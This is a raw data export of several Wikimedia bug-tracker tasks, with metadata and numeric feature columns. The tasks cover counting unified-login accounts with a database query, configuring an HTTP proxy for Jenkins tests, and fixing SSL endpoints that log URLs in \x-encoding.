Hidden: no

SUL admin (secure) • Contributions  
Database ↓ Project ↓ Editcount ↓ Registration date ↓ Flags ↓ Blocked ↓ SUL status ↓  
angwiki  
(c)  
wikipedia 0 2010021809295409:29, 18 February 2010 0 No autocreated  
barwiki  
(c)  
wikipedia 0 2010022613112513:11, 26 February 2010 0 No autocreated  
cowiki  
(c)  
wikipedia 0 2009070618005718:00, 06 July 2009 0 No autocreated  
commonswiki  
(c)  
commons 0 2009051817232917:23, 18 May 2009 0 No autocreated

Home wiki: enwiki_p

Total editcount: 466  
}}}

I used the Unified login feature months ago.

You can see that while en.wiki is my homewiki, I have an account in most of the wikipedias. 

The account at Spanish Wiki es.wiki is not controlled by me, there is a conflict and in fact it says ""unattached"".

Most of the others are ""autocreated"".

Is there a way to know how many users have used this Unified Login feature.

My final goal is to analyze contributions of the same person in different wikipedias, so I need a way to know for sure that ""Example"" in en.wikipedia is the same physical person as ""Example"" in zh.wikipedia.

Thanks a lot for any hint!  
Thanks!

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1388764500,1388764543.0,PHID-USER-hbffue25ov3attlvclze,False,,False,PHID-TASK-phzh75fwaekp6rlpu5ax,task_description,declined,True,c3,1,False,False,True,-78,True,1.2,0.2,0.0,0.8,0.4,4.2,0.6,0.0,0.0,0.0,1.6,0.2,0.0,0.0,0.8,2.2,0.0,1.6,6.8,0.4,1.0,0.2,0.2,0.0,0.8,0.4,0.0,0.2,0.6,0.2,0.2,4.0,1.6,0.4,0.4,0.2,0.0,0.0,0.6,0.0,0.0,0.6,0.0,1.4,0.2,0.0,0.0,0.4,0.4,14.0,0.0,0.4,0.0,0.8,0.0,0.0,0.2,0.2,0.2,0.0,0.2,0.4,0.0,0.4,0.0,0.4,0.6,3.0,2.6,16.0,1.6,0.6,5.4,0.0,0.0,0.4,0.0,2.2,0.2,5.8,0.0,3.6,6.8,10.2,0.2,2.0,0.0,3.6,0.0,1.2,1.2,0.2,0.2,0.0,0.4,0.8,4.082678821879383,0.6631603553062179,"This issue was converted from URL
Summary: How many users have their logins unified?
Issue type: Task - A task that needs to be done.
Priority: Major
Status: Done
Assignee: (none)

-------------------------------------------------------------------------------
From: Paolo Massa <massa@fbk.eu>
Date: Mon, 11 Oct 2010 13:08:15
-------------------------------------------------------------------------------

I would like to know how many users unified their logins, i.e. they can login in all wikipedias using the same login and password, see URL

Unfortunately I don't know which db tables are involved. It should be something about local and global accounts.

I know that there is a tool that shows all the ""Users with name Example on Wikimedia projects"".

I tried with my nickname (phauly) at URL

Below there are the first lines of output of URL

{{{

SUL account status

Username: Phauly

User ID: 546004

User registration: 13:03, 09 October 2008

Home wiki: enwiki

Locked: no

Hidden: no

SUL admin (secure) • Contributions  
Database ↓ Project ↓ Editcount ↓ Registration date ↓ Flags ↓ Blocked ↓ SUL status ↓  
angwiki  
(c)  
wikipedia 0 2010021809295409:29, 18 February 2010 0 No autocreated  
barwiki  
(c)  
wikipedia 0 2010022613112513:11, 26 February 2010 0 No autocreated  
cowiki  
(c)  
wikipedia 0 2009070618005718:00, 06 July 2009 0 No autocreated  
commonswiki  
(c)  
commons 0 2009051817232917:23, 18 May 2009 0 No autocreated

Home wiki: enwiki_p

Total editcount: 466  
}}}

I used the Unified login feature months ago.

You can see that while en.wiki is my homewiki, I have an account in most of the wikipedias. 

The account at Spanish Wiki es.wiki is not controlled by me, there is a conflict and in fact it says ""unattached"".

Most of the others are ""autocreated"".

Is there a way to know how many users have used this Unified Login feature.

My final goal is to analyze contributions of the same person in different wikipedias, so I need a way to know for sure that ""Example"" in en.wikipedia is the same physical person as ""Example"" in zh.wikipedia.

Thanks a lot for any hint!  
Thanks!

--------------------------
**Version**: unspecified
**Severity**: major"
267724,DBQ-107 How many users have their logins unified?,"
This bug was imported as RESOLVED. The original assignee has therefore not been
set, and the original reporters/responders have not been added as CC, to
prevent bugspam.

If you re-open this bug, please consider adding these people to the CC list:
Original assignee: (none)
CC list:",,,1388764543,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,9.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6818181818181817,0.696969696969697,"
This bug was imported as RESOLVED. The original assignee has therefore not been
set, and the original reporters/responders have not been added as CC, to
prevent bugspam.

If you re-open this bug, please consider adding these people to the CC list:
Original assignee: (none)
CC list:"
267718,DBQ-107 How many users have their logins unified?,"-------------------------------------------------------------------------------
From: Paolo Massa <massa@fbk.eu>
Date: Tue, 02 Nov 2010 10:53:06
-------------------------------------------------------------------------------

The code of the script at http://toolserver.org/~vvv/sulutil.php might give an idea of the tables involved and their values.

I also found some mentions of the values involved at http://svn.wikimedia.org/viewvc/mediawiki/trunk/extensions/CentralAuth/evil-plans.txt?view=markup but this is not very clear to me. The old CentralAuth plugin (see http://www.marefa.org/extensions/CentralAuth/central-auth.sql ) had a gu_enabled_method field with enum('opt-in', 'batch', 'auto', 'admin') but I don't find this field in the current tables. 

Anyone can help?

Thanks!!!",,,1388764541,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,0.5,1.0,0.5,0.0,1.5,3.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.5,0.0,2.5,6.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,2.5,2.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,10.5,0.0,2.0,7.0,0.0,0.0,2.5,0.0,4.0,0.0,1.5,0.0,3.0,6.5,3.5,1.0,6.0,0.0,3.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,2.5,4.676691729323308,0.7520363408521302,"-------------------------------------------------------------------------------
From: Paolo Massa <massa@fbk.eu>
Date: Tue, 02 Nov 2010 10:53:06
-------------------------------------------------------------------------------

The code of the script at URL might give an idea of the tables involved and their values.

I also found some mentions of the values involved at URL but this is not very clear to me. The old CentralAuth plugin (see URL ) had a gu_enabled_method field with enum('opt-in', 'batch', 'auto', 'admin') but I don't find this field in the current tables. 

Anyone can help?

Thanks!!!"
267710,DBQ-107 How many users have their logins unified?,"-------------------------------------------------------------------------------
From: Paolo Massa <massa@fbk.eu>
Date: Tue, 02 Nov 2010 10:43:10
-------------------------------------------------------------------------------

The previous comment explains the additional info I might benefit from. Thanks!",,,1388764539,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,26.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,8.17142857142857,0.8857142857142857,"-------------------------------------------------------------------------------
From: Paolo Massa <massa@fbk.eu>
Date: Tue, 02 Nov 2010 10:43:10
-------------------------------------------------------------------------------

The previous comment explains the additional info I might benefit from. Thanks!"
267704,DBQ-107 How many users have their logins unified?,"-------------------------------------------------------------------------------
From: Paolo Massa <massa@fbk.eu>
Date: Tue, 02 Nov 2010 10:42:03
-------------------------------------------------------------------------------

Thanks a lot Mr.Z-man!!!

I have a doubt, I checked at http://en.wikipedia.org/wiki/Special:Statistics and currently there are 13,331,812 users in en.wikipedia (which is the one with most registered users, I guess).

The doubt is the following. Is it possible that ~8 millions out of ~13 millions users opted in for unified login? I believe this is not the case.

So maybe the reason for 8259190 users in Globaluser_table is that users end up there automatically (since a certain date, possibly)?

Probably the fields of Globaluser_table (such as gu_registration, gu_registration and gu_home_db for example) and localuser_table (such as lu_name and lu_attached_timestamp) are useful.

May I ask you to run a query to get some records from these tables to get a better idea of what they are used for? You can use my account ""Phauly"" for posting results of queries.

I checked at https://wiki.toolserver.org/view/Database_schema (and also the diagram at https://wiki.toolserver.org/view/Media:Mediawiki-database-schema.png ) but there is no mention I could find of these global tables.",,,1388764538,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,4.0,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,3.3333333333333335,0.0,3.6666666666666665,10.666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,4.333333333333333,3.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,13.333333333333334,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,4.333333333333333,3.3333333333333335,10.333333333333334,1.0,2.3333333333333335,7.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,5.0,10.666666666666666,3.3333333333333335,1.0,1.0,0.0,5.0,0.0,0.6666666666666666,2.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,4.549657534246575,0.7248224251648909,"-------------------------------------------------------------------------------
From: Paolo Massa <massa@fbk.eu>
Date: Tue, 02 Nov 2010 10:42:03
-------------------------------------------------------------------------------

Thanks a lot Mr.Z-man!!!

I have a doubt, I checked at URL and currently there are 13,331,812 users in en.wikipedia (which is the one with most registered users, I guess).

The doubt is the following. Is it possible that ~8 millions out of ~13 millions users opted in for unified login? I believe this is not the case.

So maybe the reason for 8259190 users in Globaluser_table is that users end up there automatically (since a certain date, possibly)?

Probably the fields of Globaluser_table (such as gu_registration, gu_registration and gu_home_db for example) and localuser_table (such as lu_name and lu_attached_timestamp) are useful.

May I ask you to run a query to get some records from these tables to get a better idea of what they are used for? You can use my account ""Phauly"" for posting results of queries.

I checked at URL (and also the diagram at URL ) but there is no mention I could find of these global tables."
267699,DBQ-107 How many users have their logins unified?,"-------------------------------------------------------------------------------
From: Mr.Z-man <mrzmanwikimail@gmail.com>
Date: Sun, 31 Oct 2010 18:57:17
-------------------------------------------------------------------------------

The globaluser table in the centralauth database contains all global accounts.
    
     
    mysql> SELECT COUNT(*) FROM globaluser;
    +----------+
    | COUNT(*) |
    +----------+
    |  8259190 |
    +----------+
    1 row in set (2 min 36.09 sec)
    

https://wiki.toolserver.org/view/Database_schema/Global#Globaluser_table",,,1388764536,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-phzh75fwaekp6rlpu5ax,task_subcomment,,True,c3,1,False,,,-78,True,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.825,0.6875,"-------------------------------------------------------------------------------
From: Mr.Z-man <mrzmanwikimail@gmail.com>
Date: Sun, 31 Oct 2010 18:57:17
-------------------------------------------------------------------------------

The globaluser table in the centralauth database contains all global accounts.
    
     
    mysql> SELECT COUNT(*) FROM globaluser;
    +----------+
    | COUNT(*) |
    +----------+
    |  8259190 |
    +----------+
    1 row in set (2 min 36.09 sec)
    

URL"
61253,Jenkins: Set $wgHTTPProxy in mediawiki config,"Some tests rely on an internet access, for example the Math extension fetch material from latexml. Hacking $wgHTTPProxy does fix the issue : https://gerrit.wikimedia.org/r/#/c/105188/

We have to set $wgHTTPProxy in the mediawiki.d configuration, should vary depending on the cluster the test is being run (pmtpa / eqiad).

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1388761920,1388765958.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_description,resolved,True,c3,1,True,False,True,-78,True,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,8.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.118421052631579,0.7368421052631579,"Some tests rely on an internet access, for example the Math extension fetch material from latexml. Hacking $wgHTTPProxy does fix the issue : URL

We have to set $wgHTTPProxy in the mediawiki.d configuration, should vary depending on the cluster the test is being run (pmtpa / eqiad).

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
262042,Jenkins: Set $wgHTTPProxy in mediawiki config,"Test change https://gerrit.wikimedia.org/r/#/c/105188/

The Math integration works so I guess $wgHTTPProxy is set properly \O/",,,1388765958,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,29.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.352941176470588,1.0,"Test change URL

The Math integration works so I guess $wgHTTPProxy is set properly \O/"
262039,Jenkins: Set $wgHTTPProxy in mediawiki config,"Change 105198 merged by jenkins-bot:
mwconf: set $wgHTTPProxy based on wmf site

https://gerrit.wikimedia.org/r/105198",,,1388765169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.95,"Change 105198 merged by jenkins-bot:
mwconf: set $wgHTTPProxy based on wmf site

GERRIT_URL"
262035,Jenkins: Set $wgHTTPProxy in mediawiki config,"Change 105198 had a related patch set uploaded by Hashar:
mwconf: set $wgHTTPProxy based on wmf site

https://gerrit.wikimedia.org/r/105198",,,1388764896,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.217391304347826,0.9130434782608695,"Change 105198 had a related patch set uploaded by Hashar:
mwconf: set $wgHTTPProxy based on wmf site

GERRIT_URL"
262030,Jenkins: Set $wgHTTPProxy in mediawiki config,"$ dig ANY webproxy.pmtpa.wmnet
webproxy.pmtpa.wmnet.	3600	IN	CNAME	brewster.wikimedia.org.
brewster.wikimedia.org.	2129	IN	A	208.80.152.171


$ dig ANY webproxy.eqiad.wmnet
webproxy.eqiad.wmnet.	3600	IN	CNAME	carbon.wikimedia.org.
carbon.wikimedia.org.	2180	IN	A	208.80.154.10

Now we need to inject that configuration in MediaWiki :-D",,,1388762928,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,True,,,-78,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,3.0,0.0,9.0,0.0,2.0,9.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.848484848484849,0.45454545454545453,"$ dig ANY webproxy.pmtpa.wmnet
webproxy.pmtpa.wmnet.	3600	IN	CNAME	brewster.wikimedia.org.
brewster.wikimedia.org.	2129	IN	A	208.80.152.171


$ dig ANY webproxy.eqiad.wmnet
webproxy.eqiad.wmnet.	3600	IN	CNAME	carbon.wikimedia.org.
carbon.wikimedia.org.	2180	IN	A	208.80.154.10

Now we need to inject that configuration in MediaWiki :-D"
262027,Jenkins: Set $wgHTTPProxy in mediawiki config,"Change 105189 merged by Mark Bergsma:
webproxies service entries in wmnet.

https://gerrit.wikimedia.org/r/105189",,,1388762692,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8125,1.0,"Change 105189 merged by Mark Bergsma:
webproxies service entries in wmnet.

GERRIT_URL"
262021,Jenkins: Set $wgHTTPProxy in mediawiki config,"Change 105189 had a related patch set uploaded by Hashar:
webproxies service entries in wmnet.

https://gerrit.wikimedia.org/r/105189",,,1388762618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fj5qwn2vmdqu7gfmgy4e,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.65,1.0,"Change 105189 had a related patch set uploaded by Hashar:
webproxies service entries in wmnet.

GERRIT_URL"
60876,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"SSL endpoints log %-encoded URLs logged as \x-encoded URLs

When requesting %-encoded URLs like

  https://ru.wikipedia.org/wiki/1092_%D0%B3%D0%BE%D0%B4

(note: “https”) we get a log line for

  http://ru.wikipedia.org/wiki/1092_%D0%B3%D0%BE%D0%B4

(%-encoded) from the cache, but the SSL endpoint additionally adds a
log entry using the URL

  https://ru.wikipedia.org/wiki/1092_\xD0\xB3\xD0\xBE\xD0\xB4

(\x-encoded).
The latter, \x-encoded URL cannot be fetched, and distorts logs.

I'd prefer if we have no \x-encoded URLs in our logs.

Should we:
* try to fix the SSL endpoints to not log distorted URLs, or
* stop having ssl endpoints in the udp2log log stream altogether
  (Currently, https requests get two entries in the log stream. One
  from the SSL endpoint, and one from the responding cache)

?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1387750200,1389727536.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_description,resolved,True,c3,1,True,False,True,-80,True,0.0,0.0,0.5,0.5,1.0,3.5,0.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,2.5,1.0,3.0,6.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.5,2.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,6.0,0.5,11.5,1.0,2.0,6.5,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,2.5,6.5,5.0,0.5,0.0,0.0,2.5,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.5,3.5055555555555555,0.6055555555555556,"SSL endpoints log %-encoded URLs logged as \x-encoded URLs

When requesting %-encoded URLs like

  URL

(note: “https”) we get a log line for

  URL

(%-encoded) from the cache, but the SSL endpoint additionally adds a
log entry using the URL

  URL

(\x-encoded).
The latter, \x-encoded URL cannot be fetched, and distorts logs.

I'd prefer if we have no \x-encoded URLs in our logs.

Should we:
* try to fix the SSL endpoints to not log distorted URLs, or
* stop having ssl endpoints in the udp2log log stream altogether
  (Currently, https requests get two entries in the log stream. One
  from the SSL endpoint, and one from the responding cache)

?

--------------------------
**Version**: unspecified
**Severity**: normal"
263378,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"Change 105449 merged by Ottomata:
Log correctly encoded url with parameters for nginx

https://gerrit.wikimedia.org/r/105449",,,1389725821,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0588235294117645,1.0,"Change 105449 merged by Ottomata:
Log correctly encoded url with parameters for nginx

GERRIT_URL"
263376,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"Change 105449 had a related patch set uploaded by QChris:
Log correctly encoded url with parameters for nginx

https://gerrit.wikimedia.org/r/105449",,,1388859609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7727272727272725,1.0,"Change 105449 had a related patch set uploaded by QChris:
Log correctly encoded url with parameters for nginx

GERRIT_URL"
263372,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/1351",,,1387751810,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
263368,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"The problem does not show on sampled-1000, mobile, zero stream but is
visible on unsampled streams that do not filter to hosts. So for example
the edit stream, and webstatscollector output (and hence stats.grok.se).

Especially the exposure of this problem through webstatscollector, seems
problematic, as people start to add redirects for the non-existing but
seemingly requested \x encoded URLs. :-/
